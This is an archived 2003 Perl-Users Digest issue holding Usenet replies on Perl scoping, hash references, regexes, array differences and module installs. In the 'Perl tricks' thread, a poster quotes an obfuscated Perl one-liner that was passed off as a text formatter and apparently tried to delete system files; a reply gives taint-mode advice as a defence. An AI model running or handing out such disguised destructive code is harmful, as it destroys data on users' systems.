[23353] in Perl-Users-Digest
Perl-Users Digest, Issue: 5572 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Sep 27 00:05:51 2003
Date: Fri, 26 Sep 2003 21:05:06 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Fri, 26 Sep 2003 Volume: 10 Number: 5572
Today's topics:
Re: Bear trap in scoping rules <mjcarman@mchsi.com>
Re: choose from duplicate hash keys <kuujinbo@hotmail.com>
Re: Evals, quotes and backslashes problem <eric-amick@comcast.net>
Re: Find what is in array1 and not in array2 <jkeen@concentric.net>
Re: Has anyone in here used the GD module on Windows? <bwaNOlSPtAMon@rochester.rr.com>
Re: hash reference as a hash key (Jay Tilton)
Re: hash reference as a hash key <uri@stemsystems.com>
Re: hash reference as a hash key (Jay Tilton)
Re: Help; Pattern Matching (MJS)
Re: Help; Pattern Matching <kkeller-usenet@wombat.san-francisco.ca.us>
Re: Help; Pattern Matching <noreply@gunnar.cc>
Re: Help; Pattern Matching (Jay Tilton)
Install Mail::SpamAssassin2.60 fails with Makefile erro <danny@lennon.postino.com>
Re: Net-Telnet-Cisco module <tcurrey@no.no.i.said.no>
Re: Net-Telnet-Cisco module <tcurrey@no.no.i.said.no>
Re: Net-Telnet-Cisco module <postmaster@castleamber.com.invalid>
Re: Net-Telnet-Cisco module <postmaster@castleamber.com.invalid>
Re: New FAQ: How do I compute the difference of two arr (Jay Tilton)
Re: New FAQ: How do I compute the difference of two arr <bwaNOlSPtAMon@rochester.rr.com>
Re: Perl tricks (Jay Tilton)
Re: regexp question + html::parser question on the side <bwaNOlSPtAMon@rochester.rr.com>
Re: Someone abusing moderator priveledge? <dha@panix.com>
Re: <bwalton@rochester.rr.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Sat, 27 Sep 2003 00:06:43 GMT
From: Michael Carman <mjcarman@mchsi.com>
Subject: Re: Bear trap in scoping rules
Message-Id: <3F74D485.4080001@mchsi.com>
[posted & mailed]
On 9/25/2003 1:22 PM, Jeff 'japhy' Pinyan wrote:
>
> Now, when using a global as the foreach iterator, Perl implicitly
> localizes it. What's interesting, though, is that it seems to only
> localize the SCALAR portion. I think (*think*) that what that means is
> this: if the ENTIRE glob of 'j' is aliased to 'i', then just because $j
> is localized, *j is still aliased to *i, so $i and $j hold the same value;
> if ONLY $j is aliased to $i, then when $j gets localized, that bond
> breaks.
>
> Some other internals-junkie should probably back me up on this one...
You've got it right. The docs (as of 5.8.0) explain this in the "Symbol
Tables" section of perlmod.
-mjc
------------------------------
Date: Sat, 27 Sep 2003 07:47:32 +0900
From: ko <kuujinbo@hotmail.com>
Subject: Re: choose from duplicate hash keys
Message-Id: <bl2fp9$mae$1@pin3.tky.plala.or.jp>
JohnWalter wrote:
> JohnWalter wrote:
>
>> Matija Papec wrote:
[snip]
>>> use strict;
>>>
>>> my %table;
>>> #open DATA, $from_file or die $!;
>>> while (<DATA>) {
>>> my ($key, @value) = split;
>>> push @{ $table{$key} }, [ @value ];
>>> }
>>>
>>> for my $k (keys %table) {
>>> my $tnum = $#{ $table{$k} };
>>> my $keep = 0;
>>>
>>> if ($tnum > 0) {
>>> for my $i (0 .. $tnum) {
>>> print $i+1, ": ", $k, " ", (join ' ', @{$table{$k}[$i]}), "\n";
>>> }
>>> print "please enter the line number to keep\n";
>>> chomp ( $keep = <STDIN> );
>>> $keep--;
>>> }
>>> print "Keeping line: $k ", (join ' ', @{$table{$k}[$keep]}), "\n"
>>> }
This *doesn't* alter your file. The last print statement just verifies
the selected lines for demonstration (also prints out non duplicate
keys). To get the selected lines you have two options:
1. Open a temporary file and write the selected lines to it. You can use
the last print statement, just take out the "Keeping line: " part. Then
use Perl's rename function - change the name of the temporary file to
the name of the old file. 'perldoc -f rename'.
2. Modify the file in place with flock().
If you've never used flock, I would suggest the temporary file option.
HTH - keith
[ snip rest ]
------------------------------
Date: Fri, 26 Sep 2003 20:59:55 -0400
From: Eric Amick <eric-amick@comcast.net>
Subject: Re: Evals, quotes and backslashes problem
Message-Id: <tsn9nvkf60el7pt9pq5c14juso8g216s9s@4ax.com>
On Fri, 26 Sep 2003 11:21:51 +0100, Stefan <stefan@unfunked.org> wrote:
>Paul Burton wrote:
>> I've got some code similar to this:
>> $a='$b="a_string"';
>> eval($a);
>> print $b;
>>
>> For the above, this simply prints out "a_string".
>>
>> Of course, I actually want something a little more interesting than
>> a_string. The output I actually want is the following string:
>> \$a_var
>
>I think you want:
>
>$a = '$b="\\\\\\$a_var"';
Ugh. You'll find something like
$a = '$b = q(\$a_var)';
is less painful--and even readable.
--
Eric Amick
Columbia, MD
------------------------------
Date: 27 Sep 2003 01:23:06 GMT
From: "James E Keenan" <jkeen@concentric.net>
Subject: Re: Find what is in array1 and not in array2
Message-Id: <bl2opq$45a@dispatch.concentric.net>
"The Poor" <a@job.mx.2y.net> wrote in message
news:30bcc0c9.0309260752.1d1e44b9@posting.google.com...
> In FAQ,
> +
> How do I compute the difference of two arrays? How do I compute the
> intersection of two arrays?
> [snip]
> Note that this is the *symmetric difference*, that is, all
> elements in
> either A or in B but not in both. Think of it as an xor operation.
>
> -
> But it is not what I need. I need to find what in array1, but not in
> array2. Can anyone show me how to do that?
[snip]
If you would like a simple object-oriented interface to a solution to this
problem, consider my CPAN module List::Compare
(http://search.cpan.org/author/JKEENAN/List-Compare-0.2/Compare.pm)
my $lc = List::Compare->new(\@array1, \@array2);
my @unique_to_first = $lc->get_unique;
HTH
Jim Keenan
------------------------------
Date: Sat, 27 Sep 2003 01:16:15 GMT
From: Bob Walton <bwaNOlSPtAMon@rochester.rr.com>
Subject: Re: Has anyone in here used the GD module on Windows?
Message-Id: <3F74E483.7010703@rochester.rr.com>
Bigus wrote:
> "Ian.H" <ian@WINDOZEdigiserv.net> wrote in message
> news:pan.2003.09.26.10.50.36.877278@hybris.digiserv.net...
...
> Thanks for that.. I must confess that PNG generation does actually work. I
> was trying to create jpg's and it comes up with:
>
> Can't locate object method "jpg" via package "GD::Image"
Try using the jpeg method. It might work better, since it actually
exists [tested under AS build 806 on Windoze 98SE and GD version 2.07].
>
> in the Apache error log. I didn't actually try PNG because I assumed that
> since the boutell.com instructions mentioned installing supporting libraries
> for PNG and JPG, and JPG wasn't working, that neither would PNG. It does,
> which I guess will do.. I'd still prefer jpgs though, since browser support
> is supposed to be better.
...
> Bigus
--
Bob Walton
------------------------------
Date: Fri, 26 Sep 2003 23:15:14 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: hash reference as a hash key
Message-Id: <3f74c816.137776885@news.erols.com>
ineverlookatthis@yahoo.com (Steve) wrote:
: Subject: hash reference as a hash key
See perlfaq4, "How can I use a reference as a hash key?"
[snip]
: Is it safe/sensible to continue to do it like this, I suppose my real
: concern is that I don't have a mental image of what $each_marker and
: $eachDNA actually *are* during these loops,
They are hash references that have been stringified, e.g.
"HASH(0x155ac58)" . After stringification, they are no longer real
references; they are more akin to symbolic references.
: will they suddenly mutate on me ?!
There is no guarantee that the hash in the original location will be the
same, or that it will exist at all.
my %foo = (
{ 'key' => 'something very important' } => 'something else'
);
for( keys %foo ) {
# $_ is a symbolic reference to the anonymous hash,
# which has been already been garbage-collected.
print $_->{'key'}; # oops
}
------------------------------
Date: Sat, 27 Sep 2003 00:28:43 GMT
From: Uri Guttman <uri@stemsystems.com>
Subject: Re: hash reference as a hash key
Message-Id: <x7brt73whx.fsf@mail.sysarch.com>
>>>>> "JT" == Jay Tilton <tiltonj@erols.com> writes:
JT> : Is it safe/sensible to continue to do it like this, I suppose my real
JT> : concern is that I don't have a mental image of what $each_marker and
JT> : $eachDNA actually *are* during these loops,
JT> They are hash references that have been stringified, e.g.
JT> "HASH(0x155ac58)" . After stringification, they are no longer real
JT> references; they are more akin to symbolic references.
not exactly as you can't ever dereference a stringified ref. you can do
that with symrefs (even though it is evil).
refs as keys are a fine thing as long as the ref itself is also in the
value part (either the value itself or inside someother structure which
is the value). one simple use for this is to track a set of objects by
their references. you can search/add/delete from a hash which has the
object as both the key and the value.
uri
--
Uri Guttman ------ uri@stemsystems.com -------- http://www.stemsystems.com
--Perl Consulting, Stem Development, Systems Architecture, Design and Coding-
Search or Offer Perl Jobs ---------------------------- http://jobs.perl.org
Damian Conway Class in Boston - Sept 2003 -- http://www.stemsystems.com/class
------------------------------
Date: Sat, 27 Sep 2003 01:31:20 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: hash reference as a hash key
Message-Id: <3f74e7a1.145853056@news.erols.com>
Uri Guttman <uri@stemsystems.com> wrote:
: >>>>> "JT" == Jay Tilton <tiltonj@erols.com> writes:
:
: JT> They are hash references that have been stringified, e.g.
: JT> "HASH(0x155ac58)" . After stringification, they are no longer real
: JT> references; they are more akin to symbolic references.
:
: not exactly as you can't ever dereference a stringified ref.
Damn. I would have sworn I had done it before, but I can't make it
happen again.
------------------------------
Date: 26 Sep 2003 16:36:59 -0700
From: tabletdesktop@yahoo.com (MJS)
Subject: Re: Help; Pattern Matching
Message-Id: <f0171209.0309261536.38aec7d0@posting.google.com>
Rather than telling me to read the stuff, why doesn't anybody tell me
where I am doing wrong. After reading the stuff, thats what I came up
with though I admit I lack experience. I still appreciate what you
have said as you definitely spend your precious time on reply. Thanks
a lot.
------------------------------
Date: Fri, 26 Sep 2003 17:25:06 -0700
From: Keith Keller <kkeller-usenet@wombat.san-francisco.ca.us>
Subject: Re: Help; Pattern Matching
Message-Id: <2dl2lb.31j.ln@goaway.wombat.san-francisco.ca.us>
-----BEGIN xxx SIGNED MESSAGE-----
Hash: SHA1
NotDashEscaped: You need GnuPG to verify this message
On 2003-09-26, MJS <tabletdesktop@yahoo.com> wrote:
[snips]
> # data.txt is the file containing the text pattern
> open(OUTPUT,"> result.txt") or die("Couldn't open data.txt :$!");
[code passes....]
> while(<OUTPUT>){
Since there's nothing in OUTPUT, this while loop will do
nothing. Other problems include not assigning variables
properly and not printing anything to your OUTPUT filehandle.
You should really read some more on the basics of Perl, maybe
tackling an easier problem and learning from the ground up.
--keith
--
kkeller-usenet@wombat.san-francisco.ca.us
(try just my userid to email me)
AOLSFAQ=http://wombat.san-francisco.ca.us/cgi-bin/fom
-----BEGIN xxx SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iEYEARECAAYFAj902N4ACgkQhVcNCxZ5ID/zkQCff6hdJNV4M9fGUdNujaAGXQXt
GpUAniky1yRTsaCLUZAsfx8STUnWeIAa
=OQ6U
-----END PGP SIGNATURE-----
------------------------------
Date: Sat, 27 Sep 2003 02:50:42 +0200
From: Gunnar Hjalmarsson <noreply@gunnar.cc>
Subject: Re: Help; Pattern Matching
Message-Id: <bl2ms8$75jgr$1@ID-184292.news.uni-berlin.de>
MJS wrote:
> Rather than telling me to read the stuff, why doesn't anybody tell
> me where I am doing wrong.
I would guess it is because you are not doing enough of it right.
If you are really interested in learning programming, especially
programming in Perl, and provided that you show that you are making
efforts to learn, there are quite a few very experienced people here
who are willing to give a hand.
> After reading the stuff, thats what I came up with though I admit I
> lack experience.
A couple of examples:
- You mention a file named data.txt, where some pattern is supposed to
be stored, but you don't open that file.
- There are both syntax and logic errors, which at least make me
confused about what exactly you are trying to do.
You simply need to try harder. Also, reading the posting guidelines
for this group may give you a better feeling for how to ask questions
here (later on):
http://mail.augustmail.com/~tadmc/clpmisc/clpmisc_guidelines.html
--
Gunnar Hjalmarsson
Email: http://www.gunnar.cc/cgi-bin/contact.pl
------------------------------
Date: Sat, 27 Sep 2003 01:22:33 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: Help; Pattern Matching
Message-Id: <3f74d2b4.140494751@news.erols.com>
tabletdesktop@yahoo.com (MJS) wrote:
: Rather than telling me to read the stuff, why doesn't anybody tell me
: where I am doing wrong.
Like Gunnar said, there are so many mistakes that it is hard to know
where to begin. Many of the mistakes are of such a basic nature (like
confusing the binding operator with the assignment operator) that the
most logical place to begin is by reading the docs.
IOW, you need to understand what each piece does before trying to
construct a complete program from them.
Also, that the problem is so urgent that it deserved a repost within ten
hours must have raised the "homework problem" red flag in many readers'
minds. It is, after all, still September.
[ content taken from earlier message,
Message-ID: <f0171209.0309252258.5853ea0f@posting.google.com> ]
: use strict;
use warnings;
That addition alone would have caused several messages to be emitted.
Those messages are an invaluable guide to debugging.
: my $number;
: my $pattern;
: my $replace;
Better to declare lexicals within the smallest scope necessary than to
give them all file scope like that.
: # data.txt is the file containing the text pattern
: open(OUTPUT,"> result.txt") or die("Couldn't open data.txt :$!");
^^^^^^^^^^ ^^^^^^^^
Which filename is correct?
: print "Please enter a positive integer for Address = ";
: chomp( my $number = <STDIN> );
: if ($number =~ tr/1-9// != length ($number)) {
: print "You did not enter an interger";
: }
Integers are not allowed to contain the digit 0 ?
A better way to disallow non-numeric characters is to simply check that
the string does not contain them.
if( $number =~ /\D/ ) { .... }
: else {
: $pattern=~/Can someone help
: me with
:
:
: problem number1 =>/;
You want to assign a value to $pattern, not bind the match operator to
it.
my $pattern = "Can someone help....";
: $replace=~/"This is
: solution
:
:
: number /;
Ditto.
my $replace = "This is solution....";
: while(<OUTPUT>){
The OUTPUT filehandle was opened for output only. Why is the program
trying to read from it? Are you really trying to do an in-place edit of
the file?
: for (my $n=1; $n<=$number; $n++){
Blecch.
for my $n (1..$number) {
: s/$pattern/$replace."$n". '<='/gsm;
^^^^
See perlfaq4, ' What's wrong with always quoting "$vars" '
Assuming for a moment that the filehandle was open for input and a
record was read into $_, that record will contain only one line. Your
pattern spans several lines. The match will never succeed.
Assuming for a moment that you had slurped the entire file content into
$_ and the match has a chance of succeeding, the s/// operator will do
nothing after the first iteration, since you have irreversibly mangled
$_. Copy the value of $_ into another scalar then mangle the copy.
The replacement string, $replace."$n". '<=' , is code. Either make it
an ordinary double-quotish string, e.g.
s/$pattern/$replace$n<=/g;
or tack the /e switch onto the s/// operator so the replacement string
gets evaluated as code.
On the s/// operator, the /m switch only affects the meaning of the ^
and $ regex metacharacters and the /s switch only affects the meaning of
the . regex metacharacter. None of those characters appear in the
pattern, so those switches can be discarded.
Did you mean to output the altered string somewhere?
: }
: }
: }
: close(OUTPUT);
------------------------------
Date: Sat, 27 Sep 2003 03:05:17 GMT
From: "Danny Aldham" <danny@lennon.postino.com>
Subject: Install Mail::SpamAssassin2.60 fails with Makefile error
Message-Id: <N77db.28640$TM4.5947@pd7tw2no>
I am installing Mail::SpamAssassin2.60 on a RH8 Linux box. Running perl
Makefile.PL creates a Makefile, but when I run make I get a :
Makefile:54: *** Missing separator. Stop
error.
It was failing with a "Could not find pod2man in path" error, but I upgraded
MakeMaker to clear that problem.
Danny Aldham
------------------------------
Date: Fri, 26 Sep 2003 15:35:54 -0700
From: "Trent Curry" <tcurrey@no.no.i.said.no>
Subject: Re: Net-Telnet-Cisco module
Message-Id: <bl2f4p$a5d$1@news.astound.net>
John Bokma wrote:
> Darren Dunham wrote:
[snipage]
>> problem. Tar says it's not a gzip file. Old versions of Netscape
>> used to ungzip dowloads, but keep the .gz extension...
>
> Weird. I remember IE messing up the extension.
IE on a UNIX system??? (Yes theres Wine, but afaik, IE (windows), since 4.x
atleast has always been fine with downloading binaries, and it'll be a cold
day in hell that'll IE would ever ungzip a gz file.
--
Trent Curry
perl -e
'($s=qq/e29716770256864702379602c6275605/)=~s!([0-9a-f]{2})!pack("h2",$1)!eg
;print(reverse("$s")."\n");'
------------------------------
Date: Fri, 26 Sep 2003 15:40:44 -0700
From: "Trent Curry" <tcurrey@no.no.i.said.no>
Subject: Re: Net-Telnet-Cisco module
Message-Id: <bl2fdq$ab4$1@news.astound.net>
Uri Guttman wrote:
>>>>>> "JB" == John Bokma <postmaster@castleamber.com.invalid> writes:
>
> >> Sun tar doesn't recognize gzip files (or the -z) flag, so that's
> not the
>
>> Didn't know that. I remember that Sun's tar is broken somehow.
>
> i wouldn't say broken, more like outdated. gnu tar has more features.
> i
> use solaris but i have all the common gnu unix tools installed to
> replace the solaris ones.
>
> and i do use the -z option on tar all the time so i would never use
> solaris' tar.
True to that; sometiems it's good to stay up to date :-)
I once knew someone who had 6 difference builds of tar and ls, 3 different
versions of emacs, 8, count 'em, 8 different versions of vi, all on one
system, as a result of everyone on the system complaining. (He's a sysadmin
for 200 some odd user office network. Just comes to show that not everyone
wants the newest, though sometimes it can be better, especially in the case
of Solaris.
--
Trent Curry
perl -e
'($s=qq/e29716770256864702379602c6275605/)=~s!([0-9a-f]{2})!pack("h2",$1)!eg
;print(reverse("$s")."\n");'
------------------------------
Date: Sat, 27 Sep 2003 00:57:31 +0200
From: John Bokma <postmaster@castleamber.com.invalid>
Subject: Re: Net-Telnet-Cisco module
Message-Id: <1064617178.868305@halkan.kabelfoon.nl>
Trent Curry wrote:
> John Bokma wrote:
>
>>Darren Dunham wrote:
>
> [snipage]
>
>>>problem. Tar says it's not a gzip file. Old versions of Netscape
>>>used to ungzip dowloads, but keep the .gz extension...
>>
>>Weird. I remember IE messing up the extension.
>
> IE on a UNIX system??? (Yes theres Wine, but afaik, IE (windows), since 4.x
> atleast has always been fine with downloading binaries, and it'll be a cold
> day in hell that'll IE would ever ungzip a gz file.
Not on *Nix system (altough there has been an announcement for an IE
version for Solaris IIRC, don't know if it has been available). What I
mean is that IE has the nasty habbit to change the extension. IIRC it
turns tar.gz into tar.tar
--
Kind regards, virtual home: http://johnbokma.com/ ICQ: 218175426
web site hints: http://johnbokma.com/websitedesign/
John I count my toes ~ one to ten ~ I meditate ~ and feel the Zen
------------------------------
Date: Sat, 27 Sep 2003 01:01:45 +0200
From: John Bokma <postmaster@castleamber.com.invalid>
Subject: Re: Net-Telnet-Cisco module
Message-Id: <1064617432.797494@halkan.kabelfoon.nl>
Uri Guttman wrote:
>>>>>>"JB" == John Bokma <postmaster@castleamber.com.invalid> writes:
>
>
> >> Sun tar doesn't recognize gzip files (or the -z) flag, so that's not the
>
> JB> Didn't know that. I remember that Sun's tar is broken somehow.
>
> i wouldn't say broken, more like outdated. gnu tar has more features. i
> use solaris but i have all the common gnu unix tools installed to
> replace the solaris ones.
I remember many OS sites carrying the warning *not* to use Sun's tar
because it has a serious bug. Can't remember what it was. If was some
years ago so it might be fixed by now.
> and i do use the -z option on tar all the time so i would never use
> solaris' tar.
I have no experience with Solaris (use IRIX and GNU/Linux :-) ) but I
remember warnings not to use the Sun version of tar but the GNU one
instead because of a serious bug in the former.
--
Kind regards, virtual home: http://johnbokma.com/ ICQ: 218175426
web site hints: http://johnbokma.com/websitedesign/
John I count my toes ~ one to ten ~ I meditate ~ and feel the Zen
------------------------------
Date: Fri, 26 Sep 2003 23:10:48 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: New FAQ: How do I compute the difference of two arrays?
Message-Id: <3f74c739.137555485@news.erols.com>
Steve Grazzini <grazz@pobox.com> wrote:
: The Poor <a@job.mx.2y.net> wrote:
: > Here is my new code changed from the old code in FAQ.
: > Please add it to the perldoc for the next release of perl.
:
: This is a discussion group. FAQ patches (preferably in the form
: of unified or context diffs) can be mailed to perlfaq-workers at
: perl.org or posted from nntp.perl.org.
:
: You should also include some rationale -- what's wrong with the
: current answer? How is your proposed solution an improvement?
: I'm not sure that it is an improvement, but you'll have to make
: a case for it. (And fix the syntax error, etc.)
As well, when making that case it is good to keep in mind that the FAQ
answers are not intended to form a cookbook of pre-fab do-anything
solutions. That's more the domain of CPAN, or the actual Perl Cookbook.
Recipe 4.7 in Perl Cookbook (1st ed.), by the way, directly addresses
the problem of "Finding Elements in One Array but Not Another."
A more useful (and easier) change to the FAQ would be to add mention of
a module on CPAN that handles permutations of the question that the FAQ
answer does not address. In this case, James Keenan's List::Compare
module appears to be especially capable.
------------------------------
Date: Sat, 27 Sep 2003 02:03:35 GMT
From: Bob Walton <bwaNOlSPtAMon@rochester.rr.com>
Subject: Re: New FAQ: How do I compute the difference of two arrays?
Message-Id: <3F74EF97.8060905@rochester.rr.com>
The Poor wrote:
...
> 2 Questions:
> how to fix it when the array is not uniqu?
Make it unique:
{my %h or @array1_unique=(@h{@array1}=1 and keys %h)}
> how to simplfy the last 3 lines using case, ?: or something else?
>
> push @intersection, $element if $count{$element} == 0;
> push @in1notin2, $element if $count{$element} == 1;
> push @in2notin1, $element if $count{$element} == -1;
One way:
push @{$result[$count{$element}+1]},$element;
#@{$result[0][...]} is in2notin1
#@{$result[1][...]} is intersection
#@{$result[2][...]} is in1notin2
--
Bob Walton
------------------------------
Date: Fri, 26 Sep 2003 23:36:56 GMT
From: tiltonj@erols.com (Jay Tilton)
Subject: Re: Perl tricks
Message-Id: <3f74cd72.139149250@news.erols.com>
Andrei Koulik <ak-n@agk.nnov.ru> wrote:
: Jay Tilton wrote:
: .....
: >
: > So were you aware of the code's malicious nature before running it, or
: > did something terrible happen?
: >
: I was asked to debug script for text formation:
:
: cat "test... test... test..." | perl -e
: '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
:
: but I noted neither -n nor -p option is used so I start debug it on
: behalf of news user (it doesn't own any files).
:
: But after some steps, lines:
: ...
: rm: /usr/bin/objcopy: Permission denied
: rm: /usr/bin/objdump: Permission denied
: rm: /usr/bin/ranlib: Permission denied
: ...
: were printed. When I pressed ctrl-c the output is froze but beeping is
: started and terminal didn't responsed on any keys.
: I didn't knew what happened and so I had to understood what this program
: actually does to detect possible injuries.
Next time you feel compelled to run a mysterious script like that, you
might want to use perl's -T switch, at the least. In this case, it
would have halted the program with an "Insecure $ENV{PATH}" error before
any mischief could begin.
------------------------------
Date: Sat, 27 Sep 2003 02:24:06 GMT
From: Bob Walton <bwaNOlSPtAMon@rochester.rr.com>
Subject: Re: regexp question + html::parser question on the side
Message-Id: <3F74F468.5030003@rochester.rr.com>
boris bass wrote:
> i am trying to scan the html file for all the anchor tags and the
> following regex
>
>
> while ( $content =~ /<\s*a\s+.*?>/s )
>
>
> doesn't seem to work , what is wrong here?
Mostly you need the g and the i switches. The g switch so you don't
generate an infinite loop on the first match, and the i switch so you
match something like <A href="xxx">. Example:
{local $/;$content=<DATA>}
while($content=~/<\s*a\s+.*?>/sgi){print "matched $&\n"}
__END__
some html <a href="sdflkj"> and <A href="sflkjwer"> and< a
href="werlkj" > and <a href="sdlfkj">
And note that that will not perform perfectly due to the possibility of
stuff like maybe <img src="xxx" alt="<a b c d>"> etc etc in the HTML.
For 100% performance, use one of the HTML parsers.
...
> boris
--
Bob Walton
------------------------------
Date: Fri, 26 Sep 2003 22:26:30 +0000 (UTC)
From: "David H. Adler" <dha@panix.com>
Subject: Re: Someone abusing moderator priveledge?
Message-Id: <slrnbn9f8m.a87.dha@panix2.panix.com>
In article <3f745feb$0$24124$afc38c87@news.easynet.co.uk>, Peter Hickman wrote:
>
> Let me get this straight:
>
> World leaders are arses therefore a moderator of a newsgroup is picking on
> you. Proof positive, case closed.
>
> Who are you really? David Icke?
Nah, he didn't claim the moderators were giant lizards...
dha
--
David H. Adler - <dha@panix.com> - http://www.panix.com/~dha/
"You're on dry land! Squeaky Whale can't save you now!"
- Stephen Cole
------------------------------
Date: Sat, 19 Jul 2003 01:59:56 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re:
Message-Id: <3F18A600.3040306@rochester.rr.com>
Ron wrote:
> Tried this code get a server 500 error.
>
> Anyone know what's wrong with it?
>
> if $DayName eq "Select a Day" or $RouteName eq "Select A Route") {
(---^
> dienice("Please use the back button on your browser to fill out the Day
> & Route fields.");
> }
...
> Ron
...
--
Bob Walton
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 5572
***************************************